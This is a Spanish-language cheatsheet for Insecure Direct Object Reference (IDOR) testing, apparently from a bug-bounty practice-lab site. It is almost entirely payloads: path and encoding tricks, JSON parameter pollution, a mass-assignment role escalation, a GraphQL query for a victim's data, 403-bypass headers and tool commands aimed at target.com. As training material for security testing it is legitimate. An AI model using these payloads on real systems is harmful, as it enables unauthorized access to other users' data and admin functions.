Nuevos labs cada semana — Accede a todos desde 5€/mes
Ver labs →Cheatsheet IDOR
Insecure Direct Object Reference
Referencia rápida
- →El IDOR existe porque la capa que autoriza y la capa que procesa interpretan el input diferente
- →Encoded space (%20) es la tecnica con mayor ratio de exito segun investigaciones
- →Siempre probar version downgrade de API: v5 -> v4, v3, v2, v1
- →UUID v1 es predecible si conoces timestamp aproximado - solo v4 tiene alta entropia
- →Buscar IDs filtrados en otras respuestas API, Referrer headers y signup flows
Tecnicas de bajo ruido
Trailing slash
/api/v5/users/99/
Double slash
/api/v5//users//99
Subpath variantsProbar tambien: /details, /info, /summary, /export
/api/v5/users/99/profile
Query param vs pathDiferentes code paths de parsing
/users?id=99
Multi-ID filterList endpoints suelen tener menos proteccion
?ids[]=100&ids[]=99
Version downgrade y formato
API version downgradeVersiones antiguas pueden no tener ACL modernos
/api/v2/users/99
Type confusion - string
/users/"99"
Leading zeros
/users/099
Hexadecimal0x63 = 99 en hexadecimal
/users/0x63
Encoded space (mas exitoso)Tecnica con mayor ratio de exito real
/users/99%20
Null byte
/users/99%00
Composite (combinar)Version downgrade + encoded space + trailing slash
/api/v2/users/99%20/
Manipulacion de parametros
JSON parameter pollutionBackend puede tomar el segundo valor
{"userid":1234,"userid":2542}Wrap ID con array
{"userid":[123]}Wrap ID con objeto
{"userid":{"userid":123}}Mass assignment - role
{"username":"test","role":"admin","isVerified":true}GraphQL IDOR
query { user(id: "victim-id") { email role personalData } }Type confusion (object ID swap)Sustituir tipo de ID esperado por otro tipo
page_id=USER_ID
Bypass 403 con headers
X-Original-URL
X-Original-URL: /api/v5/admin/100
X-Forwarded-For
X-Forwarded-For: 127.0.0.1
X-Custom-IP-Authorization
X-Custom-IP-Authorization: 127.0.0.1
X-Rewrite-URL
X-Rewrite-URL: /admin
X-HTTP-Method-OverrideCambiar metodo HTTP via header
X-HTTP-Method-Override: PUT
Bypass 403 con URL encoding
Path con punto
/admin/.
Path con punto-coma
/admin;/
Path con doble encoding
/admin%252f
Path con %2e
/%2e/admin
Path con null byte
/admin%00.json
Case manipulation
/ADMIN
Path traversal y vuelta
/admin/./../../admin
Herramientas
Autorize (Burp)
Extension de Burp que detecta IDOR automaticamente comparando sesiones
Burp Suite > Extensions > Autorize > Configure cookies
bypass-403
Prueba automaticamente multiples tecnicas de bypass 403
python3 bypass-403.py https://target.com/admin
Arjun
Descubre parametros HTTP ocultos en endpoints API
arjun -u https://target.com/api/endpoint
Contenido relacionado
¿Listo para practicar?
Pon en práctica estos payloads en labs reales basados en reportes de bug bounty.
Ver labs de práctica